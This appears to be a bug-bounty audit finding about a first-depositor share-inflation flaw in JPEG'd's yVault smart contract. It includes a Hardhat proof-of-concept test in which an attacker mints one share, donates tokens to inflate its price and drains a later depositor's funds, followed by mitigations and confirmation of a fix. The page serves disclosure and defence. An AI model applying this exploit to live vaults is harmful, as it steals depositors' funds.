yVault: First depositor can break minting of shares
The first depositor can mint a single share and then donate a large amount to the strategy contract, inflating the share price so that later depositors receive zero shares for their deposits. The attacker can then withdraw both their own and the victims' funds.
Submitted by hickuphh3, also found by 0xDjango, berndartmueller, cmichel, hyh, and WatchPug
The attack vector and impact is the same as TOB-YEARN-003, where users may not receive shares in exchange for their deposits if the total asset amount has been manipulated through a large “donation”.
Proof of Concept
- Attacker deposits 1 wei to mint 1 share
- Attacker transfers exorbitant amount to the
StrategyPUSDConvexcontract to greatly inflate the share’s price. Note that the strategy deposits its entire balance into Convex when itsdeposit()function is called. - Subsequent depositors instead have to deposit an equivalent sum to avoid minting 0 shares. Otherwise, their deposits accrue to the attacker who holds the only share.
Insert this test into yVault.ts.
it.only("will cause 0 share issuance", async () => {
// mint 10k + 1 wei tokens to user1
// mint 10k tokens to owner
let depositAmount = units(10_000);
await token.mint(user1.address, depositAmount.add(1));
await token.mint(owner.address, depositAmount);
// token approval to yVault
await token.connect(user1).approve(yVault.address, 1);
await token.connect(owner).approve(yVault.address, depositAmount);
// 1. user1 mints 1 wei = 1 share
await yVault.connect(user1).deposit(1);
// 2. do huge transfer of 10k to strategy
// to greatly inflate share price (1 share = 10k + 1 wei)
await token.connect(user1).transfer(strategy.address, depositAmount);
// 3. owner deposits 10k
await yVault.connect(owner).deposit(depositAmount);
// receives 0 shares in return
expect(await yVault.balanceOf(owner.address)).to.equal(0);
// user1 withdraws both his and owner's deposits
// total amt: 20k + 1 wei
await expect(() => yVault.connect(user1).withdrawAll())
.to.changeTokenBalance(token, user1, depositAmount.mul(2).add(1));
});
Recommended Mitigation Steps
- Uniswap V2 solved this problem by sending the first 1000 LP tokens to the zero address. The same can be done in this case i.e. when
totalSupply() == 0, send the first min liquidity LP tokens to the zero address to enable share dilution. - Ensure the number of shares to be minted is non-zero:
require(_shares != 0, "zero shares minted");
spaghettieth (JPEG’d) confirmed, but disagreed with High severity
spaghettieth (JPEG’d) resolved and commented:
Fixed in jpegd/core#16.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the vault mints shares based on the ratio of total assets to total supply without guarding against a zero-share result or an initial donation that inflates the share price.
Impact
Later depositors could lose their entire deposit to the attacker, as their funds accrue to the only share holder.
What the attacker needed
Attacker is first depositor; attacker can transfer tokens to strategy; victim deposits after inflation
The fix
The vault was fixed by sending the first minimum liquidity shares to the zero address and requiring that minted shares are non-zero.
How it was found
- Attacker deposits 1 wei to mint 1 share.
- Attacker transfers a large amount to the strategy contract to inflate the share price.
- A later depositor deposits an equivalent sum but receives 0 shares.
- Attacker withdraws both their own and the victim's deposits.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A vault gives you shares in exchange for depositing tokens. If someone is the very first depositor, they can make one tiny share and then send a huge amount of tokens directly to the vault's strategy, making that one share very valuable. When you deposit later, the maths rounds down and you get zero shares, so your tokens effectively belong to the attacker.
What is Smart contracts?
Flaws in on-chain code that let an attacker drain funds, freeze them or break the protocol's accounting.